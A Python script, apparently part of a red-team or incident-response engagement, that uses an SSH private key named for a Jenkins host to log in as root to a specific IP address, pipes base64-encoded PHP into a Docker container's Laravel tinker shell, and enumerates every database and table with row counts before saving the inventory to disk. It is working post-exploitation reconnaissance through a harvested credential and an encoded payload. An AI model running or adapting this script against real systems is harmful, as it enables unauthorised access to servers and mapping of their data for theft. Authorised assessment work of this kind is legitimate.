#!/usr/bin/env python3
"""Inventory: all databases + all tables with row counts via information_schema.
Uses information_schema.TABLES (fast metadata, no COUNT(*) on large tables).
"""
import subprocess, base64, sys

HOST = "root@46.101.74.150"
KEY = "/root/ir-assessment/redteam/yajny/L3/ssh_keys/jenkins-host-id_rsa.pem"
CONTAINER = "yajny-api"

QUERIES = [
    'echo "===ALL-DATABASES===";',
    '$dbs = DB::select("SHOW DATABASES"); foreach($dbs as $db) { foreach($db as $v) { echo $v."\\n"; } }',
    'echo "===TABLES-INFO-SCHEMA===";',
    "$ts = DB::select('SELECT TABLE_NAME, TABLE_ROWS, DATA_LENGTH FROM information_schema.TABLES WHERE TABLE_SCHEMA = \"yajny\" ORDER BY TABLE_ROWS DESC');",
    'foreach($ts as $t) { echo $t->TABLE_NAME."|".$t->TABLE_ROWS."|".$t->DATA_LENGTH."\\n"; }',
    'echo "===DONE===";',
    'exit;',
]

def run_tinker(queries):
    code = "\n".join(queries)
    b64 = base64.b64encode(code.encode()).decode()
    cmd = [
        "ssh", "-i", KEY, "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=accept-new",
        HOST,
        f'echo {b64} | base64 -d | docker exec -i {CONTAINER} php /var/www/html/artisan tinker 2>&1'
    ]
    r = subprocess.run(cmd, capture_output=True, text=True, timeout=120)
    return r.stdout, r.stderr, r.returncode

if __name__ == "__main__":
    out, err, rc = run_tinker(QUERIES)
    print(out)
    with open("/root/ir-assessment/redteam/yajny/L3/full_db_inventory.txt", "w") as f:
        f.write(out)
